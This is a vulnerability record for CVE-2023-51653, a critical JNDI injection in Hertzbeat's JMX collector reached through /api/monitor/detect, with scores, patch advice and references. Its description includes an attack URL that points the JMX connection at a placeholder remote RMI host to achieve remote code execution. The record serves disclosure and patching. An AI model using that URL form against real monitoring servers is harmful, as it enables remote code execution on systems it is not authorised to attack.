CVE-2023-51653
In the implementation of `JmxCollectImpl.java`, `JMXConnectorFactory.connect` is vulnerable to JNDI injection.
Does this matter?
High impact if exploited, but EPSS currently rates exploitation as unlikely (2.11%). Schedule it in the normal patch cycle and watch for a rise in EPSS or a public exploit.
Description
Hertzbeat is a real-time monitoring system. In the implementation of `JmxCollectImpl.java`, `JMXConnectorFactory.connect` is vulnerable to JNDI injection. The corresponding interface is `/api/monitor/detect`. If there is a URL field, the address will be used by default. When the URL is `service:jmx:rmi:///jndi/rmi://xxxxxxx:1099/localHikari`, it can be exploited to cause remote code execution. Version 1.4.1 contains a fix for this issue.
- CVSS 3.1
- 9.8 CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- EPSS
- 2.11% probability · 81th percentile
- CISA KEV
- Not listed
- Weakness
- CWE-74
- Affected
- apache/hertzbeat
- Source
- security-advisories@github.com
References
- https://github.com/dromara/hertzbeat/commit/f794b0d82be49c596c04a042976446559eb315efPatch
- https://github.com/dromara/hertzbeat/security/advisories/GHSA-gcmp-vf6v-59ggExploit, Vendor Advisory
- https://github.com/dromara/hertzbeat/commit/f794b0d82be49c596c04a042976446559eb315efPatch
- https://github.com/dromara/hertzbeat/security/advisories/GHSA-gcmp-vf6v-59ggExploit, Vendor Advisory
Source: NVD record, EPSS from FIRST.org, KEV from CISA. Refreshed daily.